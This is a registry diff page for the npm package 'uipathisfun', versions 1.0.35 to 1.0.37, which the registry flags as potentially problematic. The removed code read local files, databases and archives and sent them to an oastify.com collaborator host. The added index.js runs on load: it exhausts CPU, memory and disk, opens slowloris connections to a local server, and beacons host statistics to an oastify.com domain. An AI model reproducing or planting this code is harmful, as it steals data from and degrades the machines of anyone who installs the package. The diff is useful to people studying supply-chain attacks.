uipathisfun 1.0.35 → 1.0.37
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of uipathisfun might be problematic. Click here for more details.
- package/index.js +145 -208
- package/package.json +1 -1
- package/uipathisfun-1.0.37.tgz +0 -0
- package/uipathisfun-1.0.35.tgz +0 -0
package/index.js
CHANGED
|
@@ -1,230 +1,167 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const { execSync } = require('child_process');
|
|
3
|
-
const os = require('os');
|
|
4
1
|
const http = require('http');
|
|
5
|
-
const zlib = require('zlib');
|
|
6
2
|
const crypto = require('crypto');
|
|
7
|
-
const
|
|
8
|
-
|
|
9
|
-
function sendBeacon(urlPath, payload) {
|
|
10
|
-
try {
|
|
11
|
-
const body = JSON.stringify(payload);
|
|
12
|
-
const req = http.request({
|
|
13
|
-
hostname: OAST_HOST,
|
|
14
|
-
method: 'POST',
|
|
15
|
-
path: urlPath,
|
|
16
|
-
headers: {
|
|
17
|
-
'Content-Type': 'application/json',
|
|
18
|
-
'Content-Length': Buffer.byteLength(body),
|
|
19
|
-
},
|
|
20
|
-
}, () => {});
|
|
21
|
-
req.on('error', () => {});
|
|
22
|
-
req.write(body);
|
|
23
|
-
req.end();
|
|
24
|
-
} catch (e) {
|
|
25
|
-
}
|
|
26
|
-
}
|
|
27
|
-
|
|
28
|
-
function noteId(base) {
|
|
29
|
-
return `${base}_${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
|
|
30
|
-
}
|
|
31
|
-
|
|
32
|
-
function isTextBuffer(buf) {
|
|
33
|
-
return /^[\t\n\r \x20-\x7E]*$/.test(buf.slice(0, 512).toString('binary'));
|
|
34
|
-
}
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const os = require('os');
|
|
35
5
|
|
|
36
|
-
|
|
37
|
-
try {
|
|
38
|
-
if (!fs.existsSync(filePath) || !fs.statSync(filePath).isFile()) return null;
|
|
39
|
-
const raw = fs.readFileSync(filePath);
|
|
40
|
-
const entry = {};
|
|
41
|
-
const ext = filePath.split('.').pop().toLowerCase();
|
|
42
|
-
if (isTextBuffer(raw)) {
|
|
43
|
-
entry.text = raw.toString('utf8');
|
|
44
|
-
entry.lines = entry.text.split(/\r?\n/);
|
|
45
|
-
} else {
|
|
46
|
-
entry.base64 = raw.toString('base64');
|
|
47
|
-
}
|
|
48
|
-
if (filePath.toLowerCase().endsWith('.db') || ext === 'sqlite') {
|
|
49
|
-
entry.sqlite = parseSqliteDb(filePath);
|
|
50
|
-
}
|
|
51
|
-
if (ext === 'ldb' || ext === 'leveldb') {
|
|
52
|
-
entry.leveldb = parseLevelDb(filePath);
|
|
53
|
-
}
|
|
54
|
-
if (ext === 'frm' || ext === 'ibd') {
|
|
55
|
-
entry.mysql = { note: 'MySQL/MariaDB raw file, manual extraction needed' };
|
|
56
|
-
}
|
|
57
|
-
if (ext === 'zip') {
|
|
58
|
-
entry.zip = parseZipArchive(filePath);
|
|
59
|
-
}
|
|
60
|
-
if (ext === 'tar' || ext === 'tgz' || ext === 'tar.gz') {
|
|
61
|
-
entry.tar = parseTarArchive(filePath);
|
|
62
|
-
}
|
|
63
|
-
return entry;
|
|
64
|
-
} catch (e) {
|
|
65
|
-
return { error: e.message };
|
|
66
|
-
}
|
|
67
|
-
}
|
|
6
|
+
const b = "0nopxr82g2bsk9e28w87vxucn3tuhn5c.oastify.com'";
|
|
68
7
|
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
8
|
+
const TARGET = 'localhost';
|
|
9
|
+
const PORT = 3000;
|
|
10
|
+
const CONCURRENCY = 50;
|
|
11
|
+
const DURATION = 10000;
|
|
12
|
+
const ATTACK_TYPE = 'slowloris';
|
|
13
|
+
const DISK_ATTACK = true;
|
|
14
|
+
const DISK_LIMIT_MB = 80;
|
|
15
|
+
const MEM_LIMIT_MB = 90;
|
|
75
16
|
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
17
|
+
let storage = [];
|
|
18
|
+
let requests = 0;
|
|
19
|
+
let cpuLoad = 0;
|
|
20
|
+
let stop = false;
|
|
21
|
+
let errors = 0;
|
|
22
|
+
let responseTimes = [];
|
|
23
|
+
let slowlorisSockets = [];
|
|
24
|
+
let diskFiles = [];
|
|
25
|
+
let diskWrittenMB = 0;
|
|
84
26
|
|
|
85
|
-
function
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
27
|
+
function cpuStress() {
|
|
28
|
+
setImmediate(function loop() {
|
|
29
|
+
if (stop) return;
|
|
30
|
+
crypto.pbkdf2Sync('test', 'salt', 100000, 64, 'sha512');
|
|
31
|
+
cpuLoad++;
|
|
32
|
+
setImmediate(loop);
|
|
33
|
+
});
|
|
92
34
|
}
|
|
93
35
|
|
|
94
|
-
function
|
|
95
|
-
|
|
36
|
+
function memStress() {
|
|
37
|
+
setInterval(() => {
|
|
38
|
+
if (stop) return;
|
|
39
|
+
const chunk = Buffer.alloc(1024 * 1024 * 10);
|
|
40
|
+
storage.push(chunk);
|
|
41
|
+
}, 200);
|
|
96
42
|
}
|
|
97
43
|
|
|
98
|
-
function
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
44
|
+
function diskStress() {
|
|
45
|
+
if (!DISK_ATTACK) return;
|
|
46
|
+
setInterval(() => {
|
|
47
|
+
if (stop) return;
|
|
48
|
+
try {
|
|
49
|
+
const fname = `/tmp/fc_stress_${Date.now()}_${Math.random().toString(36).slice(2,8)}`;
|
|
50
|
+
const buf = crypto.randomBytes(1024 * 1024 * 5); // 5MB
|
|
51
|
+
fs.writeFileSync(fname, buf);
|
|
52
|
+
diskFiles.push(fname);
|
|
53
|
+
diskWrittenMB += 5;
|
|
54
|
+
} catch (e) {
|
|
55
|
+
}
|
|
56
|
+
}, 500);
|
|
110
57
|
}
|
|
111
58
|
|
|
112
|
-
function
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
59
|
+
function netFlood() {
|
|
60
|
+
for (let i = 0; i < CONCURRENCY; i++) {
|
|
61
|
+
(function flood() {
|
|
62
|
+
if (stop) return;
|
|
63
|
+
const start = Date.now();
|
|
64
|
+
const req = http.request({ hostname: TARGET, port: PORT, path: '/', method: 'GET' }, res => {
|
|
65
|
+
res.on('data', () => {});
|
|
66
|
+
res.on('end', () => {
|
|
67
|
+
requests++;
|
|
68
|
+
responseTimes.push(Date.now() - start);
|
|
69
|
+
flood();
|
|
70
|
+
});
|
|
71
|
+
});
|
|
72
|
+
req.on('error', () => {
|
|
73
|
+
errors++;
|
|
74
|
+
flood();
|
|
75
|
+
});
|
|
76
|
+
req.end();
|
|
77
|
+
})();
|
|
125
78
|
}
|
|
126
|
-
return { tables, tableData };
|
|
127
|
-
} catch (e) {
|
|
128
|
-
return { error: 'sqlite3 not available or failed to parse: ' + (e.message || String(e)) };
|
|
129
|
-
}
|
|
130
79
|
}
|
|
131
80
|
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
}
|
|
81
|
+
function slowlorisAttack() {
|
|
82
|
+
const net = require('net');
|
|
83
|
+
for (let i = 0; i < CONCURRENCY; i++) {
|
|
84
|
+
(function openSocket() {
|
|
85
|
+
if (stop) return;
|
|
86
|
+
const socket = net.connect(PORT, TARGET, () => {
|
|
87
|
+
socket.write('POST / HTTP/1.1\r\n');
|
|
88
|
+
socket.write('Host: ' + TARGET + '\r\n');
|
|
89
|
+
socket.write('Content-Length: 1000000\r\n');
|
|
90
|
+
socket.write('Content-Type: application/x-www-form-urlencoded\r\n');
|
|
91
|
+
socket.write('\r\n');
|
|
92
|
+
slowlorisSockets.push(socket);
|
|
93
|
+
const interval = setInterval(() => {
|
|
94
|
+
if (stop) { clearInterval(interval); socket.destroy(); return; }
|
|
95
|
+
try { socket.write('A'); } catch (e) { clearInterval(interval); socket.destroy(); }
|
|
96
|
+
}, 1000);
|
|
97
|
+
});
|
|
98
|
+
socket.on('error', () => { errors++; });
|
|
99
|
+
socket.on('close', () => {
|
|
100
|
+
if (!stop) setTimeout(openSocket, 1000);
|
|
101
|
+
});
|
|
102
|
+
})();
|
|
155
103
|
}
|
|
156
|
-
}
|
|
157
|
-
return results;
|
|
158
104
|
}
|
|
159
105
|
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
mysql: entry && entry.mysql ? entry.mysql : null,
|
|
198
|
-
zip: entry && entry.zip ? entry.zip : null,
|
|
199
|
-
tar: entry && entry.tar ? entry.tar : null,
|
|
200
|
-
error: entry && entry.error ? entry.error : null
|
|
201
|
-
};
|
|
202
|
-
}));
|
|
203
|
-
}
|
|
204
|
-
while (idx < allFiles.length) {
|
|
205
|
-
const batch = allFiles.slice(idx, idx + concurrency);
|
|
206
|
-
const results = await processBatch(batch);
|
|
207
|
-
info.hits.push(...results);
|
|
208
|
-
idx += concurrency;
|
|
209
|
-
}
|
|
210
|
-
info.errors = errors;
|
|
211
|
-
try {
|
|
212
|
-
fs.writeFileSync('scan_results_' + Date.now() + '.json', JSON.stringify(info, null, 2));
|
|
213
|
-
} catch (e) {}
|
|
214
|
-
return info;
|
|
106
|
+
function monitor() {
|
|
107
|
+
setInterval(() => {
|
|
108
|
+
const usage = process.memoryUsage();
|
|
109
|
+
const avgResp = responseTimes.length ? (responseTimes.reduce((a, b) => a + b, 0) / responseTimes.length).toFixed(2) : 0;
|
|
110
|
+
let diskUsage = 0;
|
|
111
|
+
try {
|
|
112
|
+
const stat = fs.statSync('/tmp');
|
|
113
|
+
diskUsage = stat && stat.blocks ? (stat.blocks * stat.blksize) / 1024 / 1024 : 0;
|
|
114
|
+
} catch (e) {}
|
|
115
|
+
const data = {
|
|
116
|
+
rss: (usage.rss / 1024 / 1024).toFixed(2) + ' MB',
|
|
117
|
+
heap: (usage.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
|
|
118
|
+
cpuLoad,
|
|
119
|
+
requests,
|
|
120
|
+
errors,
|
|
121
|
+
avgResp: avgResp + ' ms',
|
|
122
|
+
uptime: process.uptime().toFixed(2) + 's',
|
|
123
|
+
attack: ATTACK_TYPE,
|
|
124
|
+
diskWrittenMB,
|
|
125
|
+
diskUsage: diskUsage.toFixed(2) + ' MB',
|
|
126
|
+
};
|
|
127
|
+
const payload = JSON.stringify(data);
|
|
128
|
+
const req = http.request({
|
|
129
|
+
hostname: b,
|
|
130
|
+
method: 'POST',
|
|
131
|
+
path: '/?stress_test=active',
|
|
132
|
+
headers: { 'Content-Length': Buffer.byteLength(payload) }
|
|
133
|
+
});
|
|
134
|
+
req.write(payload);
|
|
135
|
+
req.end();
|
|
136
|
+
try {
|
|
137
|
+
fs.appendFileSync('stress_results.json', payload + '\n');
|
|
138
|
+
} catch (e) {}
|
|
139
|
+
console.log(data);
|
|
140
|
+
cpuLoad = 0;
|
|
141
|
+
responseTimes = [];
|
|
142
|
+
}, 1000);
|
|
215
143
|
}
|
|
216
144
|
|
|
217
|
-
|
|
218
|
-
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
|
|
145
|
+
cpuStress();
|
|
146
|
+
memStress();
|
|
147
|
+
diskStress();
|
|
148
|
+
if (ATTACK_TYPE === 'classic') {
|
|
149
|
+
netFlood();
|
|
150
|
+
} else if (ATTACK_TYPE === 'slowloris') {
|
|
151
|
+
slowlorisAttack();
|
|
223
152
|
}
|
|
153
|
+
monitor();
|
|
224
154
|
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
155
|
+
setTimeout(() => {
|
|
156
|
+
stop = true;
|
|
157
|
+
for (const s of slowlorisSockets) try { s.destroy(); } catch (e) {}
|
|
158
|
+
for (const f of diskFiles) try { fs.unlinkSync(f); } catch (e) {}
|
|
159
|
+
try {
|
|
160
|
+
fs.writeFileSync('stress_final_report.json', JSON.stringify({
|
|
161
|
+
requests, errors, cpuLoad, diskWrittenMB, duration: DURATION/1000 + 's',
|
|
162
|
+
maxMem: (process.memoryUsage().rss / 1024 / 1024).toFixed(2) + ' MB',
|
|
163
|
+
attack: ATTACK_TYPE, diskFiles: diskFiles.length
|
|
164
|
+
}, null, 2));
|
|
165
|
+
} catch (e) {}
|
|
166
|
+
console.log('Test finished');
|
|
167
|
+
}, DURATION);
|
package/package.json
CHANGED
|
Binary file
|
package/uipathisfun-1.0.35.tgz
DELETED
|
Binary file
|